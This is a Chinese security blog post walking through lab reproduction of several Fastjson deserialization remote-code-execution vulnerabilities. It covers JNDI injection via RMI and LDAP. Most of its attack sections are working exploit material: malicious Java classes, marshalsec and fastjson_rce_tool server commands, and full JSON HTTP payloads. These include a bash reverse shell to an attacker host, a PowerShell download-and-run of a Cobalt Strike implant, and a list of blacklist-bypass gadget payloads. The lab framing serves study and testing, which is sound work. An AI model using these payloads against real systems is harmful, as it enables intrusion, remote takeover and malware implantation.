freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

框架安全之Fastjson渗透
Kr1pt0 2021-07-03 19:43:47 544890

本篇文章是Fastjson框架漏洞复现,记录了近几年来爆出的Fastjson框架漏洞,主要分为四个部分:Fastjson简介、Fastjson环境搭建、Fastjson漏洞复现、Fastjson工具介绍。

本篇文章由浅入深地介绍了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用对Fastjson进行RCE。在学习Fastjson过程中阅读了几十篇中英文Fastjson相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Fastjson框架渗透学习!!

一、Fastjson简介

FastjsonJava语言编写的高性能开源JSON解析库,由阿里巴巴开发,用于将Java对象转化为JSON格式字符串,也可以将JSON格式字符串转化为等价的Java对象,Fastjson可以处理任意Java对象,包括没有源代码的已存在对象。具有以下几个特点:

速度快

广泛使用

测试完备

使用简单

功能完备

JNDI

JNDI (Java Naming and Directory Interface)是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一。(可以理解为JNDIJ2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找)

JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。

JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI

参考:JNDI学习总结(一)JNDI到底是什么

RMI

RMI (Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器提供API,客户端根据API提供相应参数即可调用远程方法。由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。

LDAP

LDAP(Lightweight Directory Access Protocol)是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议

参考:LDAP服务器的概念和原理简单介绍

JNDI注入

JNDI服务中,RMI服务端除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定Reference后,服务端先利用Referenceable.getReference()方法获取绑定对象的引用,并且在目录中保存。当客户端使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory,最终通过factory类将reference转换为具体的对象实例。

R2busP.png

R2bQZ8.png

ReferenceWrapper源码中也可以发现该类继承自UnicastRmoteObject,实现对Reference进行包裹,使得Reference类能够通过RMI服务进行远程访问

R2bKqf.png

上面介绍了整个加载过程,则攻击利用流程如下:

1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果

参考:深入理解JNDI注入与Java反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心


二、搭建Fastjson

1、IDEA下载

进入官网选择Community社区版即可

IDEA下载地址:https://www.jetbrains.com/idea/download/#section=windows

gOgayn.png

2、IDEA安装

1)双击安装程序

安装路径等默认,下一步

2)安装选项

如图勾上,默认下一步(会出现一个小警示,直接确认跳过即可)

gOg5TK.png

3)打开x64版本的IDEA,选择免费30天

R2bri4.png

gOghex.png

选择continue

gOg4w6.png

安装完成

3、安装JDK1.8

默认安装,一直下一步即可

R2bBoF.png

4、IDEA创建新项目

启动IDEA x64,选中刚刚装好JDK1.8u161版本,点击NEXT,填写项目名称后即可创建成功

R2bsJJ.png

第一次创建项目较慢,等待片刻

5、导入Fastjson的jar包

下载地址:https://mvnrepository.com/artifact/com.alibaba/fastjson

1)选择1.2.24版本进行下载

R2b0dU.png

2)创建目录FJ(随意命名)

R2bwZT.png

3)复制fastjson-1.2.24.jar包至刚刚创建的目录下

R2bRL6.png

4)前往目录结构选项中

R2b2sx.png

5)在Module中导入模块,在Dependencies中点击加号,选择第一项

R2bgQ1.png

6)选则刚刚导入的jar包,确认即可

R2b6zR.png

R2byW9.png

6、创建fastjson简单项目

创建java class,内容如下

import com.alibaba.fastjson.JSON;
​
public class FJdemo {
​
public static void main(String[] args){
​
User user = new User();
user.setName("小明");
user.setAge(18);

String jsonStr = JSON.toJSONString(user);

System.out.printf(jsonStr);

}
}

R2qCSs.png

创建User类

private String name;
private Integer age;
​
public String getName() {
return name;
}
​
public void setName(String name) {
this.name = name;
}
​
public Integer getAge() {
return age;
}
​
public void setAge(Integer age) {
this.age = age;
}
​
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

R2qPln.png

点击run,执行FJdemo的main函数

R2qpWj.png

三、漏洞复现

以复现操作为主,底层原理解析见后面的文章

1、Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)

0x01 简介

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本:Fastjson版本小于1.2.25

一些注意点:

反序列化常用的两种利用方式:基于RMI和基于LDAP。RMI指的是JAVA的远程方法调用,LDAP是轻量级目录访问协议。

JAVA版本限制:

基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码

基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载


0x02 靶场环境

使用vulhub靶场进行复现,搭建命令如下

cd vulhub/fastjson/1.2.24-rce
sudo docker-compose up -d

靶场IP: 192.168.112.141

R2qnfJ.png

查看靶场容器信息

sudo docker ps

R2qekF.png

进入容器内查看java版本

sudo docker exec -it 9599ad4b7cec bash

R2qmY4.png

访问靶场网址

R2qVTU.png

成功搭建完成~


0x03 复现过程

分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

先安装Java8u20版本,下面提供便捷代码,将现有的Java删除并安装上Java8u20版本(配合快照使用)

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

1)编译恶意类代码

创建文件名为evilclass.java的文件

import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

使用javac编译

javac evilclass.java

2)下载marshalsec工具

marshalsec工具用于开启RMI服务器

下载地址:https://github.com/mbechler/marshalsec

git clone https://github.com/mbechler/marshalsec.git

R2qapd.png

3)安装maven

apt-get install maven

4)使用maven编译marshalsec成jar包

mvn clean package -DskipTests

R2q6AS.png

R2qs78.png

5)搭建启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999

R2qr0f.png

6)BurpSuite抓包改包

POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.146:9999/evilclass",
"autoCommit":true
}
}

R2qDnP.png

已经发送了evilclass文件

R2qd1A.png

前往靶场容器内,成功执行命令创建test文件

R2qNfH.png


0x04 Linux反弹shell

将上面的java代码中的执行命令改为反弹shell的命令,其余步骤相似

import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

进行javac编译,Burpsuite抓包改包发包

R2qw6I.png

成功监听到反弹shell

R2q0Xt.png


2、Fastjson1.2.24 反序列化漏洞RCE(自建win靶场拓展研究)


0x01 简介

上面复现是在Linux系统中,通过Vulhub搭建的fastjson靶场进行复现,本节通过自建spring+fastjson漏洞环境,深入研究fastjson反序列化漏洞,先开始搭建过程


0x02 环境搭建 Spring+Fastjson

1)创建Spring项目

搭建Spring框架

R2vHSg.png

R2voY8.png

第一次部署较久

2)导入fastjson包

这次使用dependency的方式导入,将提供的dependency代码添加至porn.xml中,刷新载入即可

R2vblQ.png

3)创建java类 - 路由解析控制器

创建controller.Login.java,用于解析请求的路由控制器

@Controller
public class Login {
@RequestMapping(value = "/fastjson", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject obj = JSON.parseObject(data);
JSONObject result = new JSONObject();
result.put("code", 200);
result.put("message", "success");
result.put("data", "Hello " + obj.get("name"));
return result;
}
}

R2vIFf.png

R2v4TP.png

报错后面解决

4)创建model.User.java用户类,包含一些属性用于fastjson与数据对应解析

public class User {
public String name;
public int age;
public String id_card;

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age; }
public void setAge(int age) {
this.age = age;
}
public String getId_card() {
return id_card;
}
public void setId_card(String id_card) {
this.id_card = id_card;
}
}

R2vhwt.png

R2v2yd.png

5)解决报错问题

一般报错是缺少class,点击Import class即可

R2vgQH.png

最后添加了一系列的class后,解决了报错问题

R2vROA.png

6)启动项目

点击右上角的启动

R2vfeI.png

搭建成功

R2vcSe.png

测试发送json数据

curl http://192.168.112.140:8080/fastjson -H "Content-Type: application/json" --data '{"name":"xiaoming", "age":18}'

R2vTfS.png


0x03 复现过程 - 基于LDAP方式的反序列化漏洞利用

win环境下是使用JDK8u161搭建,由于基于RMI的反序列化漏洞需要JDK版本小于8u121,所以这里复现使用LDAP方式

1)编写恶意类代码

public class evilclass {
public evilclass (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilclass e = new evilclass();
}
}

或者写法二: (推荐)
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

2)javac编译成class

javac evilclass.java

3)开启http服务

python -m SimpleHTTPServer 80

4)使用marshalsec搭建LDAP服务

这里的命令和RMI方式就一处不同

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999

5)BurpSuite改包

POST /fastjson HTTP/1.1
Host: 192.168.112.140:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 133

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}

R2xfc4.png

经测试,使用RMI方式无法执行远程命令


0x04 上线Cobalt Strike

这部分虽然和上面的类似,但记录详细些,以后用得到

需要准备的东西:
1. Java8u 主要使用javac编译恶意类
2. marshalsec 用于搭建LDAP服务

主机IP信息:

fastjson Win7 192.168.112.140
Kali Linux 192.168.112.146

1)javac编译恶意类class

创建evilclass.java文件(名字任意,不过要和内容中的类名一致)

import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

R2xR9U.png

这里的powershell命令意思是到192.168.112.146主机上下载xigua.exe文件并以xigua.exe文件名存储并执行此文件,执行命令后,不出意外的话将直接上线CS

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe

使用javac编译,无报错即代表成功

R2xrBn.png

2)开启LDAP服务和python的HTTP服务

使用marshalsec工具开启LDAP服务(这里同开启RMI命令类似),开启端口号为9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999

R2x6A0.png

开启python2简易http服务

python -m SimpleHTTPServer 80
python -m http.server 80 # python3的命令

R2xs7q.png

3)启动Cobalt Strike及生成木马文件

设置监听器,创建木马上线文件,命名为xigua.exe,并复制到Kali Linux上,可以直接通过上面开启的python2的http服务访问得到。

R2xghT.png

4)BurpSuite抓包修改

POST /fastjson HTTP/1.1
Host: 192.168.112.140:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 133

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}

R2xcNV.png

5)成功上线CS

R2xW3F.png

3、Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238)

0x01 简介

Fastjson1.2.24后增加了反序列化白名单,Fastjson中autotype功能允许用户通过@type指定反序列化的类型,在Fastjson1.2.48版本前攻击者可以通过构造特殊的json字符串进行绕过该白名单,进而造成远程命令执行,该漏洞且无需开启autotype即可利用成功。


0x02 环境搭建

依旧使用vulhub靶场

cd vulhub/fastjson/1.2.47-rce
sudo docker-compose up -d
sudo docker ps

R2xb4K.png


0x03 复现操作 - 监听反弹shell

上一个漏洞复现中使用了marshalsec-0.0.3-SNAPSHOT-all.jar工具搭建RMI/LDAP服务,本次复现中使用另一个工具fastjson_tool.jar

下载地址:https://github.com/wyzxxz/fastjson_rce_tool

1)启动LDAP服务器

使用如下命令,8888端口为LDAP服务端口,后面的命令为反弹shell命令,直接使用该工具提示的payload。

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.112.146/9001 0>&1"

R2xHN6.png

2)访问网站,burpsuite抓包修改

POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 189

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}

R2x7Ax.png

3)监听反弹shell

nc -lvp 9001

R2xL9O.png


0x04 原理分析

参考:Fastjson <=1.2.47 远程代码执行漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

4、Fastjson1.2.62 漏洞简述

利用方法:

基于黑名单绕过,payload如下

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

5、Fastjson1.2.66 漏洞简述

同样是基于黑名单绕过,搜集到的EXP

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

autotypesupport属性为true才可使用,在1.2.25版本以后该属性默认为false

四、Fastjson渗透工具

本篇文章涉及到两个工具:marshalsec-0.0.3-SNAPSHOT-all.jarfastjson_tool.jar在渗透利用的过程中,本质上都是开启RMI/lDAP服务器发送恶意代码至靶机上,但使用上有所区别,这节稍微总结下这两款工具

1、marshalsec.jar

工具下载地址:GitHub - mbechler/marshalsec

工具JDK版本:JDK8

下载好后需要maven编译成jar包才可使用,在文件目录下执行命令

mvn clean package -DskipTests

工具使用方法如下

1)创建恶意类文件

写法一: 
public class evilclass {
public evilclass (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilclass e = new evilclass();
}
}

写法二: (推荐)
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

2)javac编译成class文件

javac evilclass.java

3)搭建伪造RMI/LDAP服务

前往marshalsec/target目录,命令开启服务,端口设置为9999

# RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999

# LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999

4)BP上修改POST包的请求

几个注意点:

  1. 一开始抓到的包是GET包,需要改变为POST包,右键变更请求方法可以快速切换为POST包

  2. Content-Type需要设置为application/json

  3. 请求内容根据RMI或者LDAP服务做些细微变动,

POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.146:9999/evilclass",
"autoCommit":true
}
}

LDAP服务修该请求内容即可

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}

后记:这款工具功能还是挺强的,限于笔者我实力较菜,更多的功能参考百度或等我后续变强再来更新

2、fastjson_rce_tool

工具下载地址:GitHub - wyzxxz/fastjson_rce_tool: fastjson命令执行自动化利用工具

这款工具相较于上一个工具更加便捷、自动化,下载好后无需maven编译,也不用自己创建java恶意类代码,直接根据工具提供的payload进行测试攻击,上手容易,使用容易,新手推荐这个~~

简单介绍几个功能,更多功能参考工具下载地址或百度

测试环境:

Vulhub Ubuntu   192.168.112.141
Kali Linux 192.168.112.146


0x01 结合dnslog.cn测试远程代码是否可执行

1)生成dnslog.cn的子域名

8067nw.dnslog.cn

R2zCUP.png

2)搭建LDAP服务器

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "curl 8067nw.dnslog.cn"

R2zFC8.png

3)BP改包

将上面提供的payload写入POST请求中

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}

R2zAgg.png

4)到dnslog.cn上查看靶机是否执行了curl命令

可以发现靶机成功执行了curl命令,说明存在RCE漏洞

R2zP4f.png

0x02 反弹shell及其他

操作方法类似,就是将命令更改为反弹shell的命令

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i  >& /dev/tcp/192.168.112.146/9001 0>&1"

小结:这里的命令部分相当于marshalsec工具中的自己写的恶意类中的可执行命令部分,只是fastjson_rce_tool简化了操作,我们只要提供命令执行参数即可,适合小白~

更多的操作及命令可自行拓展或者去工具下载地址查看

五、总结

注意JDK的版本,基于不同方式的反序列化攻击有不同的限制,否则会使得攻击无效

R2zk8S.png

IDEA搭建Fastjson框架时有两种导入包的方式,一种是手动创建目录导入,一种是在porn.xml中插入代码,刷新自动导入,推荐后面一种

工具涉及到两种,一个是marshalsec,另一个是fastjson_rce_tool,推荐新手先使用第二个工具,上手较容易

六、参考

alibaba/fastjson: A fast JSON parser/generator for Java.

Maven Repository: com.alibaba » fastjson

mbechler/marshalsec (github.com)

GitHub - wyzxxz/fastjson_rce_tool

Fastjson<=1.2.47反序列化漏洞复现

Fastjson <=1.2.47远程命令执行

# Jndi注入 # 漏洞复现 # 框架安全 # Fastjson反序列化漏洞
本文为 Kr1pt0 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
服务应用安全
JAVA代码审计
wiWei`hAck
每周
Java漏洞
渗透测试
Kr1pt0 LV.3
这家伙太懒了,还未填写个人描述!
  • 14 文章数
  • 136 关注者
内网安全之权限提升篇:CVE-2022–26923
2022-05-21
安卓工具小结
2021-09-14
数据库安全之MSSQL渗透
2021-07-07
文章目录